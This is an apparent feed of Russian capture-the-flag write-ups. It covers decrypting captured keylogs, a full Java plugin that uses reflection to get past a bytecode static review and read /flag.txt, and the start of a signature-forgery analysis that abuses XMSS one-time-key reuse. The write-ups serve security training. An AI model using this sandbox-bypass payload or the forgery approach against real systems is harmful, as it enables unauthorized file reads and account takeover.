  &lt;h2 id=&quot;tFLa&quot; data-align=&quot;center&quot;&gt;Расшифровка кейлогов&lt;/h2&gt;
  &lt;p id=&quot;GayF&quot;&gt;&lt;br /&gt;Для автоматической расшифровки записей можно использовать следующий Python-код:&lt;/p&gt;
  &lt;pre id=&quot;mdFt&quot; data-lang=&quot;python&quot;&gt;CRYPTO_KEY = 0x31

def decrypt_symbol(encrypted_symbol: int, salt: int) -&amp;gt; int:
    return encrypted_symbol ^ salt ^ CRYPTO_KEY


records = [
    # (encrypted_symbol, salt)
    # Значения извлекаются из записей c2_datapacket карты c2_databus.
]

result = bytearray()

for encrypted_symbol, salt in records:
    symbol = decrypt_symbol(encrypted_symbol, salt)
    result.append(symbol)

print(result.decode(&amp;quot;utf-8&amp;quot;, errors=&amp;quot;replace&amp;quot;))&lt;/pre&gt;
  &lt;p id=&quot;wgTd&quot;&gt;После расшифровки и восстановления правильного порядка элементов очереди была получена следующая последовательность пользовательского ввода:&lt;/p&gt;
  &lt;pre id=&quot;obvk&quot;&gt;keeper&amp;lt;TAB&amp;gt;avito{eBeepf_is_awes8me_4_ev3ryth1ng}&amp;lt;ENTER&amp;gt;&lt;/pre&gt;
  &lt;p id=&quot;00uS&quot;&gt;Вероятно, пользователь вводил логин &lt;code&gt;keeper&lt;/code&gt;, нажимал Tab, после чего вводил пароль или секретное значение.&lt;br /&gt;Этим секретным значением и являлся флаг.&lt;br /&gt;&lt;/p&gt;
  &lt;h2 id=&quot;El7q&quot; data-align=&quot;center&quot;&gt;Дополнительные индикаторы компрометации&lt;/h2&gt;
  &lt;p id=&quot;hG0v&quot;&gt;&lt;br /&gt;В дампе также были найдены сетевые индикаторы:&lt;/p&gt;
  &lt;pre id=&quot;HyVJ&quot;&gt;https://ebee-deps-imqs01in.avitoctf.ru/
http://honey-crm:8000/alert.html
192.168.122.1&lt;/pre&gt;
  &lt;p id=&quot;UWKg&quot;&gt;В журнале ядра присутствовала запись:&lt;/p&gt;
  &lt;pre id=&quot;4glj&quot;&gt;apparmor=&amp;quot;WARN&amp;quot;
dest=&amp;quot;https://ebee-deps-imqs01in.avitoctf.ru/&amp;quot;
comm=&amp;quot;firefox&amp;quot;
scope=&amp;quot;network&amp;quot;
tracer=&amp;quot;bpftaint&amp;quot;&lt;/pre&gt;
  &lt;p id=&quot;9JGG&quot;&gt;Для страницы &lt;code&gt;honey-crm:8000/alert.html&lt;/code&gt; был обнаружен заголовок:&lt;/p&gt;
  &lt;pre id=&quot;tDxM&quot;&gt;Security Alert&lt;/pre&gt;
  &lt;p id=&quot;WWHw&quot;&gt;Вероятно, данная страница использовалась как часть фишингового сценария. Пользователь перешёл на неё и ввёл учётные данные, которые были перехвачены компонентом &lt;code&gt;eBeeKeys&lt;/code&gt;.&lt;/p&gt;

</content></entry><entry><id>filepom:B2Bee</id><link rel="alternate" type="text/html" href="https://teletype.in/@filepom/B2Bee?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=filepom"></link><title>Writeup - B2Bee</title><published>2026-07-27T13:46:44.008Z</published><updated>2026-07-27T13:47:01.923Z</updated><summary type="html">Крупнейший пчелиный маркетплейс запустил партнёрский кабинет B2Bee. Продавцы могут загружать собственные Java-плагины в формате JAR, которые рассчитывают скидки и бонусы для корзины.
Перед запуском каждый JAR проходит два этапа:</summary><content type="html">
  &lt;section style=&quot;background-color:hsl(hsl(323, 50%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;XmxY&quot;&gt;Крупнейший пчелиный маркетплейс запустил партнёрский кабинет B2Bee. Продавцы могут загружать собственные Java-плагины в формате JAR, которые рассчитывают скидки и бонусы для корзины.&lt;br /&gt;Перед запуском каждый JAR проходит два этапа:&lt;/p&gt;
    &lt;ol id=&quot;a73M&quot;&gt;
      &lt;li id=&quot;CwbZ&quot;&gt;статическое ревью байткода;&lt;/li&gt;
      &lt;li id=&quot;r2DF&quot;&gt;исполнение в отдельной карантинной среде.&lt;/li&gt;
    &lt;/ol&gt;
    &lt;p id=&quot;lVzx&quot;&gt;Цель задания — обойти проверку плагина и прочитать файл:&lt;/p&gt;
    &lt;pre id=&quot;kgHs&quot;&gt;/flag.txt&lt;/pre&gt;
    &lt;p id=&quot;vaKN&quot;&gt;Инстанс задания:&lt;/p&gt;
    &lt;pre id=&quot;SH7F&quot;&gt;http://marketplugins-s6r1nilb.avitoctf.ru/&lt;/pre&gt;
  &lt;/section&gt;
  &lt;h2 id=&quot;iBoY&quot; data-align=&quot;center&quot;&gt;Изучение интерфейса&lt;br /&gt;&lt;/h2&gt;
  &lt;p id=&quot;mgz3&quot;&gt;На странице загрузки доступны два параметра:&lt;/p&gt;
  &lt;ul id=&quot;nFbh&quot;&gt;
    &lt;li id=&quot;PEar&quot;&gt;JAR-файл партнёра;&lt;/li&gt;
    &lt;li id=&quot;9JhI&quot;&gt;полное имя главного класса.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;x5NP&quot;&gt;Также можно скачать архив с примером легитимного плагина.&lt;br /&gt;После распаковки примера выясняется, что основной класс должен реализовывать интерфейс:&lt;/p&gt;
  &lt;pre id=&quot;Y5l2&quot;&gt;DiscountPlugin&lt;/pre&gt;
  &lt;p id=&quot;rtuO&quot;&gt;Метод плагина имеет следующий контракт:&lt;/p&gt;
  &lt;pre id=&quot;UnLB&quot;&gt;PluginResult apply(PluginContext context)&lt;/pre&gt;
  &lt;p id=&quot;qQXl&quot;&gt;Пример использует класс:&lt;/p&gt;
  &lt;pre id=&quot;nU7E&quot;&gt;example.SeasonalDiscountPlugin&lt;/pre&gt;
  &lt;p id=&quot;jpkm&quot;&gt;Следовательно, при загрузке собственного JAR в поле «Главный класс» необходимо указывать полное имя класса вместе с пакетом:&lt;/p&gt;
  &lt;pre id=&quot;UI9m&quot;&gt;example.SeasonalDiscountPlugin&lt;/pre&gt;
  &lt;h2 id=&quot;qqEC&quot; data-align=&quot;center&quot;&gt;&lt;/h2&gt;
  &lt;h2 id=&quot;0Ynl&quot; data-align=&quot;center&quot;&gt;Анализ статического ревью&lt;/h2&gt;
  &lt;p id=&quot;NQI7&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;J8AZ&quot;&gt;Из предоставленных исходников видно, что проверка выполняется на уровне Java-байткода с помощью ASM.&lt;br /&gt;Ревью-пчела анализирует:&lt;/p&gt;
  &lt;ul id=&quot;pO3E&quot;&gt;
    &lt;li id=&quot;I6dn&quot;&gt;вызовы методов;&lt;/li&gt;
    &lt;li id=&quot;3qyc&quot;&gt;обращения к полям;&lt;/li&gt;
    &lt;li id=&quot;YFwL&quot;&gt;создаваемые объекты;&lt;/li&gt;
    &lt;li id=&quot;M0YQ&quot;&gt;типы в инструкциях;&lt;/li&gt;
    &lt;li id=&quot;6qh4&quot;&gt;некоторые элементы constant pool;&lt;/li&gt;
    &lt;li id=&quot;TvBU&quot;&gt;дескрипторы методов;&lt;/li&gt;
    &lt;li id=&quot;Mlvo&quot;&gt;&lt;code&gt;Handle&lt;/code&gt;;&lt;/li&gt;
    &lt;li id=&quot;QRKP&quot;&gt;&lt;code&gt;ConstantDynamic&lt;/code&gt;.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;keTm&quot;&gt;Опасные классы и пакеты блокируются политикой песочницы.&lt;br /&gt;Например, прямое использование файлового API было бы обнаружено:&lt;/p&gt;
  &lt;pre id=&quot;ZlgS&quot; data-lang=&quot;java&quot;&gt;Files.readString(Path.of(&amp;quot;/flag.txt&amp;quot;));&lt;/pre&gt;
  &lt;p id=&quot;4KD7&quot;&gt;В байткоде такого класса появились бы ссылки на:&lt;/p&gt;
  &lt;pre id=&quot;N4Lz&quot;&gt;java/nio/file/Files
java/nio/file/Path&lt;/pre&gt;
  &lt;p id=&quot;oKuz&quot;&gt;Эти классы не разрешены политикой, поэтому такой JAR был бы отклонён на этапе ревью.&lt;/p&gt;
  &lt;p id=&quot;x8zn&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;MmQ1&quot; data-align=&quot;center&quot;&gt;Ошибка в модели проверки&lt;/h2&gt;
  &lt;p id=&quot;wdBk&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;p8cR&quot;&gt;Статический анализатор контролирует владельцев вызываемых методов и используемые типы, но не считает обычные строковые константы именами классов.&lt;br /&gt;То есть строка:&lt;/p&gt;
  &lt;pre id=&quot;Fv4B&quot;&gt;&amp;quot;java.nio.file.Files&amp;quot;&lt;/pre&gt;
  &lt;p id=&quot;Rd4h&quot;&gt;не воспринимается как ссылка на запрещённый класс.&lt;br /&gt;При этом политика разрешает классы из пространства:&lt;/p&gt;
  &lt;pre id=&quot;c05p&quot;&gt;java/lang&lt;/pre&gt;
  &lt;p id=&quot;nJCH&quot;&gt;В него входят:&lt;/p&gt;
  &lt;pre id=&quot;N5BT&quot;&gt;java/lang/Class
java/lang/reflect/Method
java/lang/Object
java/lang/String&lt;/pre&gt;
  &lt;p id=&quot;hhwM&quot;&gt;Это позволяет динамически загрузить запрещённые классы через Reflection:&lt;/p&gt;
  &lt;pre id=&quot;0rkk&quot;&gt;Class.forName(&amp;quot;java.nio.file.Files&amp;quot;);&lt;/pre&gt;
  &lt;p id=&quot;o0dQ&quot;&gt;В байткоде вызов принадлежит разрешённому классу:&lt;/p&gt;
  &lt;pre id=&quot;KuIC&quot;&gt;java/lang/Class.forName&lt;/pre&gt;
  &lt;p id=&quot;115B&quot;&gt;А имя запрещённого класса находится только в обычной строке.&lt;br /&gt;Аналогичным способом можно получить методы класса &lt;code&gt;Files&lt;/code&gt; и вызвать их через:&lt;/p&gt;
  &lt;pre id=&quot;sx5h&quot;&gt;java.lang.reflect.Method.invoke&lt;/pre&gt;
  &lt;p id=&quot;vJzh&quot;&gt;В результате статический анализатор видит только разрешённые Reflection API, хотя во время исполнения плагин получает доступ к файловой системе.&lt;/p&gt;
  &lt;p id=&quot;YUGW&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;rswK&quot; data-align=&quot;center&quot;&gt;Построение полезной нагрузки&lt;/h2&gt;
  &lt;p id=&quot;DW4o&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;05Sx&quot;&gt;Для чтения &lt;code&gt;/flag.txt&lt;/code&gt; требуется динамически получить два класса:&lt;/p&gt;
  &lt;pre id=&quot;zpnw&quot;&gt;java.nio.file.Path
java.nio.file.Files&lt;/pre&gt;
  &lt;p id=&quot;d5dV&quot;&gt;Сначала загружаем их через &lt;code&gt;Class.forName&lt;/code&gt;:&lt;/p&gt;
  &lt;pre id=&quot;43yf&quot;&gt;Class&amp;lt;?&amp;gt; pathClass =
        Class.forName(&amp;quot;java.nio.file.Path&amp;quot;);

Class&amp;lt;?&amp;gt; filesClass =
        Class.forName(&amp;quot;java.nio.file.Files&amp;quot;);&lt;/pre&gt;
  &lt;p id=&quot;0t08&quot;&gt;Затем получаем статический метод &lt;code&gt;Path.of&lt;/code&gt;:&lt;/p&gt;
  &lt;pre id=&quot;gyZi&quot; data-lang=&quot;java&quot;&gt;Method pathOf = pathClass.getMethod(
        &amp;quot;of&amp;quot;,
        String.class,
        String[].class
);&lt;/pre&gt;
  &lt;p id=&quot;gdkJ&quot;&gt;Метод имеет сигнатуру:&lt;/p&gt;
  &lt;pre id=&quot;NVgt&quot; data-lang=&quot;java&quot;&gt;Path.of(String first, String... more)&lt;/pre&gt;
  &lt;p id=&quot;nVib&quot;&gt;Так как varargs компилируется в массив, при рефлексивном вызове передаём путь и пустой массив строк:&lt;/p&gt;
  &lt;pre id=&quot;5D5Y&quot;&gt;Object path = pathOf.invoke(
        null,
        &amp;quot;/flag.txt&amp;quot;,
        new String[0]
);&lt;/pre&gt;
  &lt;p id=&quot;TT9O&quot;&gt;После этого получаем метод &lt;code&gt;Files.readString&lt;/code&gt;:&lt;/p&gt;
  &lt;pre id=&quot;680u&quot; data-lang=&quot;java&quot;&gt;Method readString = filesClass.getMethod(
        &amp;quot;readString&amp;quot;,
        pathClass
);&lt;/pre&gt;
  &lt;p id=&quot;sVE6&quot;&gt;И вызываем его:&lt;/p&gt;
  &lt;pre id=&quot;IOlV&quot; data-lang=&quot;java&quot;&gt;String flag = (String) readString.invoke(
        null,
        path
);&lt;/pre&gt;
  &lt;p id=&quot;mF4S&quot;&gt;Полученное содержимое файла можно вернуть через поле сообщения объекта &lt;code&gt;PluginResult&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;Eidi&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;k3u3&quot; data-align=&quot;center&quot;&gt;Код плагина&lt;/h2&gt;
  &lt;p id=&quot;LrLo&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;soqQ&quot;&gt;Класс должен иметь то же имя, которое указывается в веб-интерфейсе:&lt;/p&gt;
  &lt;pre id=&quot;nCfV&quot;&gt;example.SeasonalDiscountPlugin&lt;/pre&gt;
  &lt;p id=&quot;zPiI&quot;&gt;Код полезной нагрузки:&lt;/p&gt;
  &lt;pre id=&quot;Gk4A&quot; data-lang=&quot;java&quot;&gt;package example;

import java.lang.reflect.Method;

public class SeasonalDiscountPlugin implements DiscountPlugin {

    @Override
    public PluginResult apply(PluginContext context) {
        try {
            Class&amp;lt;?&amp;gt; pathClass =
                    Class.forName(&amp;quot;java.nio.file.Path&amp;quot;);

            Class&amp;lt;?&amp;gt; filesClass =
                    Class.forName(&amp;quot;java.nio.file.Files&amp;quot;);

            Method pathOf = pathClass.getMethod(
                    &amp;quot;of&amp;quot;,
                    String.class,
                    String[].class
            );

            Object path = pathOf.invoke(
                    null,
                    &amp;quot;/flag.txt&amp;quot;,
                    new String[0]
            );

            Method readString = filesClass.getMethod(
                    &amp;quot;readString&amp;quot;,
                    pathClass
            );

            String flag = (String) readString.invoke(
                    null,
                    path
            );

            return new PluginResult(
                    0,
                    0,
                    flag
            );
        } catch (Throwable error) {
            return new PluginResult(
                    0,
                    0,
                    error.getClass().getName()
                            + &amp;quot;: &amp;quot;
                            + error.getMessage()
            );
        }
    }
}&lt;/pre&gt;
  &lt;p id=&quot;ztOA&quot;&gt;Названия и конструктор &lt;code&gt;PluginResult&lt;/code&gt; необходимо брать из примера, предоставленного сервисом.&lt;br /&gt;В данном случае результат создаётся следующим образом:&lt;/p&gt;
  &lt;pre id=&quot;qrZi&quot;&gt;new PluginResult(0, 0, flag)&lt;/pre&gt;
  &lt;p id=&quot;akp2&quot;&gt;Флаг попадает в текстовое сообщение результата расчёта.&lt;/p&gt;
  &lt;h3 id=&quot;ppA1&quot;&gt;Почему плагин проходит ревью?&lt;/h3&gt;
  &lt;p id=&quot;IgvQ&quot;&gt;В исходном коде присутствуют названия запрещённых классов:&lt;/p&gt;
  &lt;pre id=&quot;hY8w&quot;&gt;&amp;quot;java.nio.file.Path&amp;quot;
&amp;quot;java.nio.file.Files&amp;quot;&lt;/pre&gt;
  &lt;p id=&quot;BHDA&quot;&gt;Однако после компиляции они остаются обычными строками в constant pool.&lt;br /&gt;Статический анализатор не сопоставляет содержимое строк с запрещёнными пакетами.&lt;br /&gt;Вызовы методов принадлежат разрешённым классам:&lt;/p&gt;
  &lt;pre id=&quot;QMtV&quot;&gt;java/lang/Class
java/lang/reflect/Method
java/lang/String
java/lang/Object&lt;/pre&gt;
  &lt;p id=&quot;qGwT&quot;&gt;Например:&lt;/p&gt;
  &lt;pre id=&quot;UPbh&quot;&gt;java/lang/Class.forName
java/lang/Class.getMethod
java/lang/reflect/Method.invoke&lt;/pre&gt;
  &lt;p id=&quot;gT2M&quot;&gt;Поэтому ревью не видит прямого обращения к:&lt;/p&gt;
  &lt;pre id=&quot;fNMi&quot;&gt;java/nio/file/Files
java/nio/file/Path&lt;/pre&gt;
  &lt;p id=&quot;N4h7&quot;&gt;Доступ к ним возникает только динамически во время исполнения в карантинной соте.&lt;br /&gt;&lt;/p&gt;
  &lt;h2 id=&quot;9P6Q&quot; data-align=&quot;center&quot;&gt;Сборка JAR&lt;/h2&gt;
  &lt;p id=&quot;vSMA&quot;&gt;&lt;br /&gt;Структура проекта:&lt;/p&gt;
  &lt;pre id=&quot;kM8j&quot;&gt;src/
└── example/
    └── SeasonalDiscountPlugin.java&lt;/pre&gt;
  &lt;p id=&quot;IyE0&quot;&gt;Для компиляции необходимо добавить классы API из архива-примера в classpath.&lt;br /&gt;Пример команды:&lt;/p&gt;
  &lt;pre id=&quot;r2OH&quot;&gt;javac \
  -cp plugin-api.jar \
  -d build \
  src/example/SeasonalDiscountPlugin.java&lt;/pre&gt;
  &lt;p id=&quot;ov4T&quot;&gt;Создание JAR:&lt;/p&gt;
  &lt;pre id=&quot;WABF&quot;&gt;jar cf honeybadger-plugin.jar -C build .&lt;/pre&gt;
  &lt;p id=&quot;qkvz&quot;&gt;Проверить наличие класса можно командой:&lt;/p&gt;
  &lt;pre id=&quot;bZ7f&quot;&gt;jar tf honeybadger-plugin.jar&lt;/pre&gt;
  &lt;p id=&quot;AHEX&quot;&gt;Ожидаемый результат:&lt;/p&gt;
  &lt;pre id=&quot;aRmh&quot;&gt;META-INF/
META-INF/MANIFEST.MF
example/
example/SeasonalDiscountPlugin.class&lt;/pre&gt;
  &lt;p id=&quot;xKTY&quot; data-align=&quot;center&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;EsdU&quot; data-align=&quot;center&quot;&gt;Загрузка в B2Bee&lt;/h2&gt;
  &lt;p id=&quot;i0Qu&quot;&gt;&lt;br /&gt;В веб-интерфейсе указываем:&lt;/p&gt;
  &lt;pre id=&quot;yDMu&quot;&gt;JAR-файл:
honeybadger-plugin.jar

Главный класс:
example.SeasonalDiscountPlugin&lt;/pre&gt;
  &lt;p id=&quot;uzoo&quot;&gt;Затем нажимаем:&lt;/p&gt;
  &lt;pre id=&quot;gPuw&quot;&gt;Передать свой JAR на ревью&lt;/pre&gt;
  &lt;p id=&quot;4g5g&quot;&gt;Плагин проходит статическую проверку и отправляется в карантинную среду.&lt;br /&gt;После запуска вызывается метод:&lt;/p&gt;
  &lt;pre id=&quot;uTE2&quot;&gt;apply(PluginContext context)&lt;/pre&gt;
  &lt;p id=&quot;y23A&quot;&gt;Он читает &lt;code&gt;/flag.txt&lt;/code&gt; и возвращает его содержимое в сообщении &lt;code&gt;PluginResult&lt;/code&gt;.&lt;br /&gt;Флаг отображается на странице в результате расчёта скидки и бонусов.&lt;/p&gt;
  &lt;h3 id=&quot;b4I4&quot;&gt;Ошибка при первой попытке&lt;/h3&gt;
  &lt;p id=&quot;7IN4&quot;&gt;В первой версии JAR основной класс назывался:&lt;/p&gt;
  &lt;pre id=&quot;mtHn&quot;&gt;example.HoneyBadgerPlugin&lt;/pre&gt;
  &lt;p id=&quot;rQK9&quot;&gt;Но в поле веб-интерфейса было указано:&lt;/p&gt;
  &lt;pre id=&quot;iywm&quot;&gt;example.SeasonalDiscountPlugin&lt;/pre&gt;
  &lt;p id=&quot;w38A&quot;&gt;Ревью JAR прошло успешно, поскольку сам байткод соответствовал политике. Однако карантин вернул:&lt;/p&gt;
  &lt;pre id=&quot;q11T&quot;&gt;Код ревью: plugin-failed
Плагин завершился с ошибкой&lt;/pre&gt;
  &lt;p id=&quot;twP2&quot;&gt;Причина заключалась не в Reflection и не в файловом доступе. Исполняющая среда не смогла найти указанный главный класс.&lt;br /&gt;После переименования класса в:&lt;/p&gt;
  &lt;pre id=&quot;BFt4&quot;&gt;example.SeasonalDiscountPlugin&lt;/pre&gt;
  &lt;p id=&quot;ghiz&quot;&gt;и повторной сборки JAR плагин успешно запустился.&lt;br /&gt;Это важный момент: поле «Главный класс» должно точно совпадать с полным именем класса внутри архива, включая регистр символов и Java-пакет.&lt;/p&gt;
  &lt;h2 id=&quot;pntA&quot; data-align=&quot;center&quot;&gt;&lt;br /&gt;Ложный путь&lt;/h2&gt;
  &lt;p id=&quot;rDnj&quot;&gt;&lt;br /&gt;В исходниках анализатора присутствовала скрытая последовательность Unicode Variation Selectors.&lt;br /&gt;После декодирования она содержала ссылку:&lt;/p&gt;
  &lt;pre id=&quot;ADNw&quot;&gt;https://marketdone-9kol67m0.avitoctf.ru/&lt;/pre&gt;
  &lt;p id=&quot;H7Le&quot;&gt;Однако эта ссылка являлась ложным путём и не приводила к решению задания.&lt;br /&gt;Реальное решение требовало:&lt;br /&gt;изучить контракт плагина;&lt;br /&gt;проанализировать правила проверки байткода;&lt;br /&gt;обнаружить разрешённый Reflection API;&lt;br /&gt;динамически загрузить запрещённые файловые классы;&lt;br /&gt;прочитать &lt;code&gt;/flag.txt&lt;/code&gt; внутри карантинной среды.&lt;/p&gt;
  &lt;p id=&quot;T2nb&quot; data-align=&quot;center&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;TZzJ&quot; data-align=&quot;center&quot;&gt;Итог&lt;/h2&gt;
  &lt;p id=&quot;j7Pz&quot;&gt;&lt;br /&gt;Для решения задания был использован обход статического анализатора Java-байткода через Reflection.&lt;br /&gt;Прямое использование файловых классов блокировалось:&lt;/p&gt;
  &lt;pre id=&quot;w4bD&quot;&gt;Files.readString(Path.of(&amp;quot;/flag.txt&amp;quot;));&lt;/pre&gt;
  &lt;p id=&quot;bEdU&quot;&gt;Но запрещённые классы удалось получить динамически:&lt;/p&gt;
  &lt;pre id=&quot;Hmfd&quot;&gt;Class.forName(&amp;quot;java.nio.file.Files&amp;quot;);
Class.forName(&amp;quot;java.nio.file.Path&amp;quot;);&lt;/pre&gt;
  &lt;p id=&quot;3xYS&quot;&gt;Так как обычные строковые константы не анализировались, а &lt;code&gt;Class&lt;/code&gt; и &lt;code&gt;Method&lt;/code&gt; относились к разрешённому пространству &lt;code&gt;java/lang&lt;/code&gt;, JAR успешно прошёл ревью.&lt;br /&gt;После запуска в карантинной соте плагин:&lt;br /&gt;загрузил &lt;code&gt;Path&lt;/code&gt; и &lt;code&gt;Files&lt;/code&gt;;&lt;br /&gt;создал объект пути &lt;code&gt;/flag.txt&lt;/code&gt;;&lt;br /&gt;вызвал &lt;code&gt;Files.readString&lt;/code&gt;;&lt;br /&gt;вернул содержимое файла в &lt;code&gt;PluginResult&lt;/code&gt;;&lt;br /&gt;вывел флаг в интерфейсе B2Bee.&lt;br /&gt;Класс уязвимости:&lt;/p&gt;
  &lt;pre id=&quot;URR9&quot;&gt;Incomplete static bytecode validation
Reflection-based sandbox bypass
Arbitrary file read&lt;/pre&gt;

</content></entry><entry><id>filepom:naPaseke</id><link rel="alternate" type="text/html" href="https://teletype.in/@filepom/naPaseke?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=filepom"></link><title>Writeup - НаПасеке</title><published>2026-07-27T13:23:44.244Z</published><updated>2026-07-27T14:39:28.327Z</updated><summary type="html">В социальной сети «НаПасеке» пользователи могут регистрироваться, публиковать записи и просматривать стены других участников. Полное содержимое публикаций доступно только VIP-пользователям.
Необходимо получить доступ к закрытой публикации пользователя kopatych, содержащей точную локацию места, где собирают лучший мёд.
Для подключения к сервису выданы адрес и invite-код:</summary><content type="html">
  &lt;section style=&quot;background-color:hsl(hsl(323, 50%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;xAa5&quot;&gt;В социальной сети «НаПасеке» пользователи могут регистрироваться, публиковать записи и просматривать стены других участников. Полное содержимое публикаций доступно только VIP-пользователям.&lt;br /&gt;Необходимо получить доступ к закрытой публикации пользователя &lt;code&gt;kopatych&lt;/code&gt;, содержащей точную локацию места, где собирают лучший мёд.&lt;br /&gt;Для подключения к сервису выданы адрес и invite-код:&lt;/p&gt;
    &lt;pre id=&quot;DFyB&quot; data-lang=&quot;bash&quot;&gt;nc napaseke-m9ybjl6b.avitoctf.ru 30012
Invite code: uCQq3YsK7TmoZBlN4UYkng&lt;/pre&gt;
    &lt;p id=&quot;uCVR&quot;&gt;Так же предоставлены исходники приложения.&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;tozG&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;5H5M&quot; data-align=&quot;center&quot;&gt;Разведка&lt;/h2&gt;
  &lt;p id=&quot;sXmX&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;OMmE&quot;&gt;После подключения сервис предлагает следующие действия:&lt;/p&gt;
  &lt;ul id=&quot;rSeS&quot;&gt;
    &lt;li id=&quot;B0Zy&quot;&gt;просмотреть обычных пользователей;&lt;/li&gt;
    &lt;li id=&quot;lqjN&quot;&gt;просмотреть VIP-пользователей;&lt;/li&gt;
    &lt;li id=&quot;9aAo&quot;&gt;зарегистрироваться;&lt;/li&gt;
    &lt;li id=&quot;8jkz&quot;&gt;войти по токену &lt;code&gt;HoneyPass&lt;/code&gt;;&lt;/li&gt;
    &lt;li id=&quot;I3UP&quot;&gt;просмотреть стену пользователя;&lt;/li&gt;
    &lt;li id=&quot;dcrT&quot;&gt;получить открытый ключ.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;ryQC&quot;&gt;При регистрации сервер возвращает токен следующего вида:&lt;/p&gt;
  &lt;pre id=&quot;E4FG&quot;&gt;HoneyPass token: &amp;lt;hex-строка&amp;gt;&lt;/pre&gt;
  &lt;p id=&quot;B91r&quot;&gt;Токен представляет собой подписанное имя пользователя. В качестве алгоритма электронной подписи используется XMSSMT:&lt;/p&gt;
  &lt;pre id=&quot;QChz&quot; data-lang=&quot;c&quot;&gt;unsigned char msg_to_sign[MAX_USERNAME_LEN];
int msg_len = strlen(username);
memcpy(msg_to_sign, username, msg_len);

xmssmt_sign_message(
    msg_to_sign,
    msg_len,
    xmss_sig,
    sizeof(xmss_sig),
    &amp;amp;sig_len,
    &amp;amp;signing_index
);&lt;/pre&gt;
  &lt;p id=&quot;BsVe&quot;&gt;При авторизации сервер проверяет подпись и извлекает из неё имя пользователя:&lt;/p&gt;
  &lt;pre id=&quot;F36V&quot; data-lang=&quot;c&quot;&gt;if (xmssmt_verify_signature(
        token.signature,
        token.sig_len,
        msg_verified,
        sizeof(msg_verified),
        &amp;amp;msg_verified_len
    ) != 0) {
    write_all(sockfd, &amp;quot;Invalid token signature\n&amp;quot;);
    return;
}&lt;/pre&gt;
  &lt;p id=&quot;LKmV&quot;&gt;После успешной проверки профиль загружается из базы данных:&lt;/p&gt;
  &lt;pre id=&quot;0eZR&quot; data-lang=&quot;c&quot;&gt;if (!load_user_data(username, &amp;amp;user_data)) {
    write_all(sockfd, &amp;quot;Profile not found\n&amp;quot;);
    return;
}&lt;/pre&gt;
  &lt;p id=&quot;C03e&quot;&gt;Таким образом, для входа под пользователем &lt;code&gt;kopatych&lt;/code&gt; необходимо получить корректную XMSS-подпись строки:&lt;/p&gt;
  &lt;pre id=&quot;MYQm&quot;&gt;kopatych&lt;/pre&gt;
  &lt;p id=&quot;u1io&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;5Pjb&quot; data-align=&quot;center&quot;&gt;Проверка VIP-ограничения&lt;/h2&gt;
  &lt;p id=&quot;FNDp&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;A159&quot;&gt;В функции просмотра стены проверяется не статус владельца стены, а статус текущего авторизованного пользователя:&lt;/p&gt;
  &lt;pre id=&quot;GxAU&quot; data-lang=&quot;c&quot;&gt;int can_view_full = session-&amp;gt;logged_in &amp;amp;&amp;amp; session-&amp;gt;user.is_vip;

if (can_view_full) {
    strncpy(display_msg, message, sizeof(display_msg) - 1);
} else {
    build_wall_preview(message, display_msg, sizeof(display_msg));
}&lt;/pre&gt;
  &lt;p id=&quot;kLuA&quot;&gt;Обычный пользователь видит только первые десять символов публикации:&lt;/p&gt;
  &lt;pre id=&quot;Gpgk&quot; data-lang=&quot;c&quot;&gt;if (strlen(message) &amp;gt; 10) {
    strncpy(display_msg, message, 10);
    display_msg[10] = &amp;#x27;\0&amp;#x27;;
    strcat(display_msg, &amp;quot;...&amp;quot;);
}&lt;/pre&gt;
  &lt;p id=&quot;cUyz&quot;&gt;Следовательно, есть два возможных пути:&lt;/p&gt;
  &lt;ol id=&quot;9qOL&quot;&gt;
    &lt;li id=&quot;9PyH&quot;&gt;войти под любым VIP-пользователем;&lt;/li&gt;
    &lt;li id=&quot;VSHH&quot;&gt;подделать токен непосредственно для &lt;code&gt;kopatych&lt;/code&gt;.&lt;/li&gt;
  &lt;/ol&gt;
  &lt;p id=&quot;w1ug&quot;&gt;Второй вариант удобнее, поскольку имя &lt;code&gt;kopatych&lt;/code&gt; уже существует в базе данных и является VIP-профилем.&lt;/p&gt;
  &lt;p id=&quot;c0yV&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;GKCO&quot; data-align=&quot;center&quot;&gt;Анализ реализации XMSS&lt;/h2&gt;
  &lt;p id=&quot;sVsN&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;oNmz&quot;&gt;XMSS — это stateful hash-based signature scheme. Внутри неё используются одноразовые подписи WOTS+.&lt;br /&gt;Критически важное требование XMSS: каждый одноразовый ключ WOTS+ должен использоваться только один раз. После создания подписи индекс секретного ключа должен увеличиваться.&lt;br /&gt;В исходниках для этого даже реализована отдельная функция:&lt;/p&gt;
  &lt;pre id=&quot;IT4T&quot; data-lang=&quot;c&quot;&gt;int xmssmt_update_signing_key(unsigned long long *signing_index) {
    unsigned long long current_index;
    unsigned long long next_index;

    current_index = signing_key_index(
        &amp;amp;g_xmss_state-&amp;gt;xmss_params,
        g_xmss_state-&amp;gt;xmss_sk
    );

    if (current_index == *signing_index) {
        if (xmssmt_update_sk(
                &amp;amp;g_xmss_state-&amp;gt;xmss_params,
                g_xmss_state-&amp;gt;xmss_sk
            ) != 0) {
            return -1;
        }

        next_index = signing_key_index(
            &amp;amp;g_xmss_state-&amp;gt;xmss_params,
